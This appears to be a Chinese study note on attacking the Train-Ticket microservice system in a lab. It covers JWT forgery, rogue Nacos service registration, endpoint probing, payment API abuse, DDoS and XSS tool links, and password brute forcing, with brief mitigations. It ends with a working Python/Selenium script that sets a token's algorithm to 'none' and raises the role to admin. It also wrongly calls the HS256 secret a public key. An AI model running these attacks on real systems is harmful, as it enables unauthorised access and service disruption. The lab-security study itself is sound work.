Web安全漏洞
Web安全漏洞
1. 常见Web安全漏洞
篡改Token校验机制
措施:
- 从前端网站中获取Token,并通过base64解密得到JSON字符串
- 从JSON字符串中查看是否有敏感信息
- 暴力破解Token,得到Token的密钥,反向生成新的Token
举例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30@Component
public class JWTProvider {
// 密钥过于明显,显式地写在代码中。这种安全漏洞需要通过代码检测工具提前检测。
private String secretKey = "secret";
private long validityInMilliseconds = 3600000;
@PostConstruct
protected void init() {
secretKey = Base64.getEncoder().encodeToString(secretKey.getBytes());
}
public String createToken(User user) {
Claims claims = Jwts.claims().setSubject(user.getUsername());
// 用户所属的角色信息过于敏感,猜测可通过暴力破解进行篡改
claims.put(InfoConstant.ROLES, user.getRoles());
claims.put(InfoConstant.ID, user.getUserId());
Date now = new Date();
Date validate = new Date(now.getTime() + validityInMilliseconds);
return Jwts.builder()
.setClaims(claims)
.setIssuedAt(now)
.setExpiration(validate)
.signWith(SignatureAlgorithm.HS256, secretKey)
.compact();
}
}造成的问题:
- 攻击者基本可以获得系统的所有操作权限
预防或解决方案:
- 检测Token校验的代码
往Nacos恶意注入微服务
措施:
- 需要获取到对应微服务系统Nacos所在的服务器地址、账号与密码(可尝试使用默认密码)
- 新创建一个SpringBoot项目,配置对应的Nacos。启动该项目,即可注册成功。
造成的问题:
- 从内部攻击其它微服务而不被管理者察觉
预防或解决方案:
确保Nacos的账号与密码不泄漏
确保Nacos服务器地址不泄漏
自动检测配置文件中有关Nacos的配置信息
在向Nacos注册服务时,记录注册用户的IP地址,做到有效溯源
配置文件中误填了服务器地址、
数据库地址、数据库账号与密码等
造成的问题:
- 借助服务器恶意挖矿、删除数据库进行敲诈勒索
预防或解决方案:
- 自动检测配置文件是否存在敏感信息
接口泄漏,攻击者从浏览器的路由路径猜测出对应的后端接口地址
方法一:
- 通过自动化脚本点击网站的各个页面,收集路径信息
- 通过自动化脚本,拼接收集到的路径信息,以Get/Post方式向目标服务器发送请求。
- 从请求的Response中过滤出收到正确响应的请求 -> 攻击切入点
- 正确响应指:得到正确的数据、没有被权限系统拦截、无常规报错
方法二:
- 通过网页控制台过滤Network请求,即后端请求,收集信息
- 向已收集的接口发送海量请求,若服务未做限流,将直接击穿服务器
DDos攻击
很难通过人为的监测进行避免 或 从代码层面进行预防,一般情况只能购买DDos高防
统计模型和机器学习算法(例如神经网络,决策树和近邻算法)可用于分析网络流量并将流量模式分类为正常或DDoS攻击。你还可以搜索其他网络性能因素中的异常,例如设备CPU利用率或带宽使用情况。
检测异常ip,从请求入口进行封杀,但是一般DDos请求是无特征的,所以很难有十足把握确定请求是恶意请求
通过CDN将网站的静态内容分发到多个服务器,用户就近访问,提高速度。此时不可泄漏服务器源地址,否则前功尽弃
安全接口校验降级
- Train-Ticket每个微服务下,对应有SecurityConfig配置类
- 更改SecurityConfig配置类中的路径匹配角色校验代码,从管理员访问接口降级为任何人可访问的接口
- 结合接口探测方式,即可访问成功
接口访问限流降级
- Train-Ticket对应的gateway-service中,配置了接口qps限流阈值
- 更改接口qps限流阈值或剔除限流代码
- 结合接口窥测与并发测试工具,可人为制造流量高峰,使服务瘫痪
- Train-Ticket未对异常流量做进一步处理(黑名单检查机制)
支付接口漏洞
该支付接口未做额外安全校验,管理员与普通用户均可访问
- Train-Ticket对应的payment-service中,存在addMoney接口
- 通过接口窥测方式获取到相应的接口路径
- 通过普通用户登陆得到Token
- 构造请求体,发送请求,实现增加金额
以服务注入形式进行攻击
- 通过SpringBoot注册新的微服务到Train-Ticket中
- 在新服务的内部创建新的接口,通过RestTemplete构造Http请求,发起RPC远程调用,调用其他微服务
脚本批量注册用户:薅羊毛
- Train-Ticket对应的auth-service中,存在createDefaultUser接口,管理员可以访问
- 通过破解Token得到管理员权限
- 用Python构建Http请求脚本以及用户信息,构造请求,访问该接口
DDos攻击
- https://github.com/Ha3MrX/DDos-Attack
- 通过该脚本发起DDos攻击,监控服务的内存、CPU、流量等指标
XSS攻击
- 各类XSS攻击脚本 https://github.com/boku7/XSS-Clientside-Attacks
- 反射性XSS攻击:在前端代码中找到输入框的部分,尝试输入脚本
Python爬虫窃取用户信息
服务器密码破解
- 通过Crunch和rtgen工具生成密码字典
- 通过Hydra和Medusa工具暴力破解服务器密码
2. JSON Web Token
JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户。
1 |
|
用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。
userID username role
role = user user
role = admin
JWT由三个部分组成:
- Header(头部)
- Payload(负载)
- Signature(签名)
2.1 Header
Header 部分是一个 JSON 对象,描述 JWT 的元数据,通常是下面的样子。
1 |
|
上面代码中,alg
属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ
属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT
。
2.2 Payload
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
- iss (issuer):签发人
- exp (expiration time):过期时间
- sub (subject):主题
- aud (audience):受众
- nbf (Not Before):生效时间
- iat (Issued At):签发时间
- jti (JWT ID):编号
定义私有字段
1 |
|
注意,JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。
这个 JSON 对象也要使用 Base64URL 算法转成字符串。
2.3 Signature
Signature 部分是对前两部分的签名,防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
1 |
|
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.
)分隔,就可以返回给用户。
2.4 具体用法
存储在浏览器的LocalStorage中
当前端发送的请求需要Token时,将其携带在请求头Authorization字段里
2.5 破解方式
2.5.1 降级加密
现在大多数应用使用的算法方案都采用 RSA 非对称加密,server 端保存私钥,用来签发 jwt,对传回来的 jwt 使用公钥解密验证。
碰到这种情况,我们可以修改 alg 为 HS256 对称加密算法,然后使用我们可以获取到的公钥作为 key 进行签名加密,这样一来,当我们将 jwt 传给 server 端的时候,server 端因为默认使用的是公钥解密,而算法为修改后的 HS256 对称加密算法, 所以肯定可以正常解密解析,从而绕过了算法限制。
对于Train-Ticket项目,无需进行降级。其本身使用的便是HS256对称加密,只有一把公钥。
2.5.2 暴力破解
适用于HS256对称加密
从LocalStorage中获取Token,通过Python脚本暴力破解,得到对应的公钥
2.5.3 置空加密
从LocalStorage中获取Token,通过Base64解密得到JSON字符串
将alg修改为none后,去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’)然后提交到服务端即可
3. Token置空破解
Python脚本实现:用于自动化完成token破解与登陆
引入selenium
1
from selenium import webdriver
创建全局的webdriver
1
wd = webdriver.Chrome()
1
2
3
4
5
6
7
8
9
10
11
12
13
14# 自动登陆并获取Token
def get_token(username, password):
global wd
wd.get("http://10.249.238.10/client_login.html")
alertObject = wd.switch_to.alert
alertObject.accept()
time.sleep(2)
# wd.find_element(value="flow_preserve_login_email").send_keys(username)
# time.sleep(2)
# wd.find_element(value="flow_preserve_login_password").send_keys(password)
# time.sleep(2)
wd.find_element(value="client_login_button").click()
time.sleep(5)
return wd.execute_script('return sessionStorage.getItem("client_token")')1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19# 破解Token篡改名字与权限
def crack_token(token: str) -> str:
ts = token.split('.')
json1 = base64.b64decode(ts[0])
json1 = str(json1)
json1 = json1.replace("HS256", "none")
# print(ts[1])
json2 = base64.b64decode(ts[1] + "==")
json2 = str(json2)
json2 = json2.replace("ROLE_USER", "ROLE_ADMIN")
json2 = json2.replace("fdse_microservice", "lty")
json1 = json1[json1.find('{'):json1.find('}') + 1]
json2 = json2[json2.find('{'):json2.find('}') + 1]
print(json1)
print(json2)
header = str(base64.b64encode(json1.encode("utf-8")), "utf-8")
payload = str(base64.b64encode(json2.encode("utf-8")), "utf-8")
print(header + '.' + payload + '.' + ts[2])
return header + '.' + payload + '.' + ts[2]1
2
3
4
5
6
7# 重新放置新的Token
def put_token_normal(token):
global wd
# wd.get("http://10.249.238.10")
wd.execute_script("sessionStorage.setItem('client_name', 'lty')")
wd.execute_script("sessionStorage.setItem('client_token', arguments[0])", token)
wd.refresh()1
2
3
4
5
6
7
8# 放置Token到Admin页面
def put_token_admin(token):
global wd_admin
wd_admin.get("http://10.249.238.10/adminlogin.html")
wd_admin.execute_script("sessionStorage.setItem('admin_name', 'lty')")
wd_admin.execute_script("sessionStorage.setItem('admin_token', arguments[0])", token)
wd_admin.get("http://10.249.238.10/admin.html")
# wd_admin.refresh()